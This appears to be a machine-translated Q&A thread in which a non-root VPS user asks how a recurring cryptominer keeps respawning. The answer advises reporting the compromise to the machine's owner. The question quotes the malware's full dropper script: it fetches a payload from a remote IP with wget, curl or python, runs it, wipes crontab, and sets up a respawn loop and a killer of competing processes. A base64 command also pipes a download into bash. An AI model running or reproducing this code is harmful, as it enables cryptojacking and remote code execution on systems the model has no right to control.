进程继续启动

进程继续启动

在我使用的 VPS 上,不知怎的,我遇到了一个有点烦人的矿工。 (我不是root)

15109 ?        Z      0:00 [sh] <defunct>
15134 ?        Ssl    0:03 []
15160 ?        S      0:00 ./5DiaEd75 ./bNlMGMON
15162 ?        S      0:00 ./5DiaEd75 ./bnkI202h
15183 ?        S      0:00 sleep 5
15184 ?        S      0:00 sleep 5

每次它都以与 /var/tmp 不同的名称开头。据我所见,在我杀死它之后的某个时间,它从transfer.sh下载一个文件(后来编辑:该脚本是来自transfer.sh的脚本,我以为是该网站)(这是我从stalking中看到的ps x

47067 ?        S      0:00 sh -c echo -n 'd2dldCAtcSAtTyAtIGh0dHA6Ly8yMDQuNDguMjQuNzIvaW5kZXguaHRtbCB8IGJhc2g=' | base64 -d | bash
47070 ?        S      0:00 bash
47072 ?        S      0:00 bash
47088 ?        S      0:00 wget http://204.48.24.72/zeenuts -O ./0amdpE5K

我检查了 crontab,但那里什么也没有,如果我在那里放了一些东西,它就会在该进程启动后被删除。我还看到在这件事开始之前:

27985 ?        S      0:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t -f root

我无法摆脱这个东西。有没有一种方法可以在不使用 crontab 的情况下设置类似 cron 的作业?或者使用sendmail功能?使用它的 [] 进程lsof表示它从 / 运行;同样在 /var/tmp 中,它下载 2 个可执行文件。

/user/bin/sendmail 可能不相关,因为我注意到每当我在 crontab 中设置命令并执行它时就会启动。可能是管理员为 crontab 作业所做的设置。

2.6.32-642.el6.x86_64
CentOS release 6.8 (Final)

我看到了剧本:

        #<!--

    function random() {
    chars=abcdefghijklmnop1234567890ABCDEFGHIJKLMNOP
    for i in {1..8} ; do
    echo -n ${chars:RANDOM%${#chars}:1}
    done
    }

    new_bash=$(random)
    new_daemon=$(random)
    new_killbot=$(random)
    new_payload=$(random)
    crontab -r

    writable_path=("/var/tmp" "/tmp" `pwd`)

    for install_path in ${writable_path[@]}
    do
        cd $install_path

        rm -rf touch ponezz

        cp `command -v touch` ./touch
        ./touch ./ponezz
        if [ ! -f ./ponezz ]; then
            continue
        else
            rm -rf touch ponezz
            break
        fi
    done

    if [ $(command -v wget | wc -l) -eq 1 ]; then
        wget http://204.48.24.72/zeenuts -O ./$new_payload
    elif [ $(command -v curl | wc -l) -eq 1 ]; then
        curl http://204.48.24.72/zeenuts -o ./$new_payload
    elif [ $(command -v python | wc -l) -eq 1 ]; then
        if [ $(python -V 2>&1 | sed 's/.* \([0-9]\).\([0-9]\).*/\1\2/') -lt "30" ]; then
            python -c "from urllib import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
        else
            python -c "from urllib.request import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
        fi
    fi
    chmod 777 ./$new_payload
    nohup ./$new_payload
    ./$new_payload

    echo "sleep 2;rm "'$0'" ;while true;do sleep 5; ps x | grep -F '[]' | grep -v grep;if [ "'$?'" -eq 1 ]; then chmod 777 ./$new_payload;nohup ./$new_payload;./$new_payload;fi;ps | grep -F '[]' | grep -v grep | awk '{print "'$1'"}' | awk '{if(NR>1)print}' | xargs -n1 kill -9;done" | tee ./$new_daemon
    echo -n 'c2xlZXAgMjtybSAkMCA7d2hpbGUgdHJ1ZTtkbyBzbGVlcCA1OyBwcyBhdXggfGdyZXAgLXYgLUYgJ1tdJyB8IGF3ayAne2lmKCQzPjQwLjApIHByaW50ICQyfScgfCB3aGlsZSByZWFkIHByb2NpZDsgZG8ga2lsbCAtOSAkcHJvY2lkOyBkb25lO2RvbmU=' | base64 -d | tee ./$new_killbot
cp `command -v bash` ./$new_bash

./$new_bash ./$new_daemon &
./$new_bash ./$new_killbot &

有趣的小脚本,但我不知道它是如何继续启动的。

答案1

由于您不是受感染计算机的所有者或管理员,因此您应该向拥有或管理该计算机的人员报告此情况。他们面临持续的安全漏洞,需要立即采取行动。

它可能是一个“无害”的比特币矿工,或者很可能比特币矿工(如果确实如此)是您能够发现的唯一进程。没关系,机器已被入侵,应立即将其从互联网上删除。

另请参阅


我已向 DigitalOcean(base64 编码字符串中的 IP 地址所属)报告了这种情况,并附有指向此 U&L 问题的指针。

相关内容